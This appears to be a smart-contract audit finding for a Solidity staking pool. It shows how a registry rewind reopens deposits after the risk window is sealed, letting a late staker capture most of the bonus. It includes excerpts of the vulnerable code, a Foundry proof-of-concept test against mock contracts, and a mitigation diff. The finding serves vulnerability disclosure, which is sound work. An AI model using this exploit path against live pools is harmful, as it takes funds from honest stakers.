FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Registry rewind can reopen deposits after a one-way risk/terminal latch

Author Revealed upon completion

Root + Impact

Description

Deposit admission depends only on the registry's current state. A registry rewind can therefore admit stake after the pool has permanently recorded active risk or a terminal time, leaving the new principal non-withdrawable and allowing post-terminal stake to capture bonus without bearing risk.

Normally, stake() and contributeBonus() are allowed in the pre-risk states and UNDER_ATTACK, but closed in PROMOTION_REQUESTED, PRODUCTION, and CORRUPTED. Once active risk is observed, riskWindowStart permanently disables withdrawals; once a terminal state is observed, riskWindowEnd permanently fixes the bonus endpoint T.

_assertDepositsAllowed() ignores both local markers and checks only the latest registry value. If a registry migration, replacement, or reset temporarily reports NEW_DEPLOYMENT after riskWindowStart was sealed, a new stake succeeds even though withdraw() remains permanently disabled. If the rewind occurs after riskWindowEnd was sealed, a new stake is recorded with entryTime > T.

The k=2 score is stake * (T - entryTime)^2. The implementation's expanded quadratic remains positive for entryTime > T, so a deposit made after the risk window receives more bonus weight the farther it is from T. An unprivileged depositor can therefore enter during the rewind, wait for the registry to return to PRODUCTION, and claim principal plus bonus despite bearing no pre-T risk. In the PoC, equal-sized stakes are placed one day before and twenty days after T; the post-terminal stake captures over 99% of the bonus.

src/ConfidencePool.sol
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
// ... validation omitted ...
_assertDepositsAllowed(_observePoolState()); // @> Live state can override sealed local history.
// ... token transfer omitted ...
uint256 newEntry = block.timestamp; // @> Can be greater than the already-sealed T.
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
// ... accounting omitted ...
emit Staked(msg.sender, received);
}
function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
if (
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION || state == IAttackRegistry.ContractState.CORRUPTED
) { // @> riskWindowStart and riskWindowEnd are not checked.
revert StakingClosed();
}
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
// ... setup omitted ...
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0; // @> Equals stake*(T-entry)^2 even when entry > T.
// ... global score omitted ...
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}

Risk

Likelihood:

  • The ordinary BattleChain lifecycle is monotonic. This occurs during a registry migration, replacement, reset, or other trusted infrastructure event that temporarily exposes an earlier state to an unresolved pool.

  • Once such a rewind is visible, any account can deposit; exploiting the bonus path requires only a terminal marker already sealed and enough time remaining before expiry.

Impact:

  • New principal is accepted after the pool has locally recorded risk, but cannot use the pre-resolution withdrawal path because riskWindowStart remains sealed.

  • A post-T staker bears no risk during the recorded window yet can capture most of the bonus, directly diluting honest stakers. The share grows with the square of the time elapsed after T.

Proof of Concept

Create test/audit/CP007RegistryRewindReopensDeposits.t.sol with the following contents:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
contract CP007RegistryRewindReopensDepositsTest is BaseConfidencePoolTest {
function _rewindRegistry() internal returns (MockAttackRegistry replacementRegistry) {
replacementRegistry = new MockAttackRegistry();
replacementRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
safeHarborRegistry.setAttackRegistry(address(replacementRegistry));
}
function test_RewindAcceptsNewStakeThatCannotWithdraw() external {
_stake(alice, 100 * ONE);
_passThroughUnderAttack();
_rewindRegistry();
_stake(bob, 100 * ONE);
assertEq(pool.eligibleStake(bob), 100 * ONE, "rewind reopens deposits");
vm.prank(bob);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
}
function test_PostTerminalStakeCapturesBonusWithoutBearingRisk() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 100 * ONE);
_passThroughUnderAttack();
vm.warp(vm.getBlockTimestamp() + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
pool.pokeRiskWindow();
uint256 T = pool.riskWindowEnd();
MockAttackRegistry replacementRegistry = _rewindRegistry();
vm.warp(T + 20 days);
_stake(bob, 100 * ONE);
replacementRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
uint256 bobBonus = token.balanceOf(bob) - bobBefore - 100 * ONE;
assertEq(pool.outcomeFlaggedAt(), T, "the original terminal time remains sealed");
assertGt(bobBonus, 99 * ONE, "post-T stake captures nearly all bonus");
}
}

Run the PoC from the repository root:

  1. Execute forge test --offline --match-path test/audit/CP007RegistryRewindReopensDeposits.t.sol -vv.

  2. Confirm that both tests pass with zero failures.

Recommended Mitigation

Make deposit gating respect the pool's monotonic local history. Keep UNDER_ATTACK deposits available as designed, but reject pre-risk registry values after riskWindowStart is set and reject every deposit after riskWindowEnd is set.

src/ConfidencePool.sol
-function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
+function _assertDepositsAllowed(IAttackRegistry.ContractState state) private view {
if (
- state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
+ riskWindowEnd != 0
+ || (
+ riskWindowStart != 0
+ && (state == IAttackRegistry.ContractState.NOT_DEPLOYED
+ || state == IAttackRegistry.ContractState.NEW_DEPLOYMENT
+ || state == IAttackRegistry.ContractState.ATTACK_REQUESTED)
+ )
+ || state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION || state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!